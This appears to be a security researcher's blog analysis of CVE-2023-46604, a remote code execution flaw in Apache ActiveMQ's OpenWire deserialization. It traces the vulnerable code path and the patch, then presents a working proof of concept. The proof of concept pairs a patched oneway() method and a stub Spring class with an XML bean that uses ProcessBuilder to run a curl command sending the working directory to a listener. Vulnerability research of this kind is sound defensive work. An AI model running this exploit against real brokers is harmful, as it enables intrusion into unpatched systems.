Shashank Barthwal

Security Researcher and a passionate Programmer

[CVE-2023-46604] ActiveMQ Deserilization RCE Analysis



CVE-2023-46604


The CVE-2023-46604 vulnerability is specifically related to the deserialization of untrusted data in the OpenWire protocol, which is used for communication between ActiveMQ brokers and clients. When a broker receives a serialized message, it deserializes the message into an object. However, the broker does not properly validate the serialized class type, which allows an attacker to send a specially crafted message that causes the broker to instantiate an arbitrary class. This allows the attacker to execute code of their choosing.



Executive Summary


The ActiveMQ client and broker employ distinct serialization/deserialization mechanisms corresponding to command types. However, the deserialization process designed for managing Exception messages was flawed, permitting the initiation of any class of Throwable type. This flaw facilitated the instantiation of arbitrary class objects within the classpath, ultimately resulting in a vulnerability leading to Remote Code Execution (RCE).



Technical Jargons









Technical Details & Analysis


To understand the vulnerability, we must first look at how ActiveMQ broker deserializes a received command (also called message).


Deserialization in OpenWire protocol


When the broker receives any kind of command, It calls the higher level unmarshaling function unmarshal() of the OpenWire implementation.


org.apache.activemq.openwire.OpenWireFormat.unmarshal()

After reading an integer byte from the received input frame, it passes the entire received input data to the lower level doUnmarshal() function.


org.apache.activemq.openwire.OpenWireFormat.doUnmarshal()

The doUnmarshal() function reads the next byte from the input data which indicates the type of command/message it has received. Based on the type of command/message, respecitive deserialization/unmarshaling function is invoked to deserialize the input data.

There are 100+ different command/message types available in OpenWire specification with their respective byte values. Some of them can be seen below.



So to summarize this up, when the broker receives a command, it ultimately calls the deserialization function respective to the received command type.


Patch Observation


To patch the security vulnerability, the following code was commited by ActiveMQ team.

Commit Link: ActiveMQ - Pull/1098

As can be seen from the screenshot above, the change has been done on activemq-client as it houses the OpenWire protocol suite.

During communication between ActiveMQ clients, a version negotiation takes place, that is why the changes had to be done in every OpenWire version.

The screenshot only shows the changes made on openwire/v10, however same change was made on other versions like v1,v2…,v12.

The patch simply checks if name of class passed to createThrowable() is actually Throwable (derived from Throwable class).

Since Throwable is the parent class of all Java exception and error classes, It denotes that the vulnerability has something to do with Exceptions.

It becomes clear when we observe function call hierarchy to identify all functions which ultimately end up calling the createThrowable function. One of the classes this observation led to was ExceptionResponseMarshaller which indicates that the vulnerable function is called during the unmarshaling of Exception responses, which are of type ExceptionResponse in OpenWire specification.


At this point, we know that:

Now lets dig into how ExceptionResponse commands are unmarshaled when received by the broker.


Unmarshaling of `ExceptionResponse` commands


As we saw earlier, the doUnmarshal() function calls the unmarshaling function of the respective command type. In case of ExceptionResponse command type, It invokes the tightUnmarshal() in ExceptionResponseMarshaller class.


org.apache.activemq.openwire.v12.ExceptionResponseMarshaller.tightUnmarshal()

The tightUnmarshal() function explicitely casts the passed command object to ExceptionResponse type and calls tightUnmarsalThrowable() passing it the wireinfo object (which contains the openwire parameters) along with the input data to be unmarshaled.

The tightUnmarsalThrowable() function then reads the exception type and exception message from the input data and stores them in clazz and message respectively.


org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable()

Once the class type and message are extracted from the input data, they are passed to createThrowable() which ends up creating the object of the passed type with the message as argument to its constructor.


org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.createThrowable()


With all this control flow information, we now know that:

Now lets see how can we do that.


Exploitation


Lets write a basic program that connects to ActiveMQ broker and sends a message to a queue.

To exploit the insecure deserialization, we need to craft a malicious ExceptionResponse object, marshal it and send it to the broker.

Instead of going through the OpenWire specification and hard coding each required byte in the byte stream, we can do it smartly by patching the necessary functions. Since higher/lower level functions are already available in the library to assist with marshaling, we don’t need to hardcode bytes ourselves.

The first step is to identify the minimalist function which invokes marshal() and initiates the marshaling process (as patching marshal would require us to patch other dependent functions).

One such reference of marshal() was oneway() method of TcpTransport class.


org.apache.activemq.transport.tcp.TcpTransport.oneway()

The oneway() call is the minimalist because it only requires the command object as argument and it invokes the marshal() function correctly.


org.apache.activemq.transport.tcp.TcpTransport.oneway()

We can patch this function by writing our own implementation of it such that it creates the malicious ExceptionResponse object with necessary values for class name and message value.

As this part is sorted, how to create a malicious ExceptionResponse object and what class name and message value should we put in the payload in order to achieve code execution?

As we observed in the createThrowable(), the class name (lets say className) and exception message value (lets say msg) would be used for creation of object which would be equivalent to running:

className obj = new className(msg)

One thing to note here is that we can only initialize an object and pass one constructor value, but we can’t call any function on that object. So what type of class name and message value should we use?
Since ActiveMQ depends on spring, we can utilize an intersting gadget function ClassPathXmlApplicationContext() which allows to load the definitions of the beans from a local/remote XML file. In simple words, It helps you in initializing an object with its state loaded from a remote XML file. Some examples of this function can be found here.

So this is how our final patched version of oneway() would look like:

public void oneway(Object command) throws IOException {
    checkStarted();
    System.out.println("[+] Inside patched oneway()");
    String VPS_URL = "http://127.0.0.1:8000/poc.xml";
    Throwable maliciousThrowableObject = new ClassPathXmlApplicationContext(VPS_URL);
    ExceptionResponse er = new ExceptionResponse(maliciousThrowableObject);
    wireFormat.marshal(er, dataOut);
    dataOut.flush();
}

Also, The ClassPathXmlApplicationContext needs to:

To solve these problems, we patch the ClassPathXmlApplicationContext() by writing a custom implementation for it, fulfilling the needed conditions.

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable {
	
	private String message;
	
	public ClassPathXmlApplicationContext(String xmlUrl)	{
		System.out.println("[+] Inside patched ClassPathXmlApplicationContext()");
		this.message = xmlUrl;
	}	

	public String getMessage()	{
		return this.message;
	}	
}

On my local HTTP service running at port 8000, I hosted the following poc.xml file containing the application context:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>curl http://127.0.0.1:5555/ExploitSuccessful?pwd=$(pwd)</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

The above application context will assist in creating an object of java.lang.ProcessBuilder and run a command to hit my listener service hosted on port 5555. If hit, It would indicate the successful exploitation of the insecure deserialization vulnerability.


Now we have everything in place to run the exploit, Its time to run the program.

Console:

HTTP Service hosting XML application context:

Listener Service:


As can be seen in the above screenshots, The control flow successfully landed on the patched definition of oneway() and ClassPathXmlApplicationContext() ending up executing the system command to hit my listener service, indicating the successful exploitation.



Credits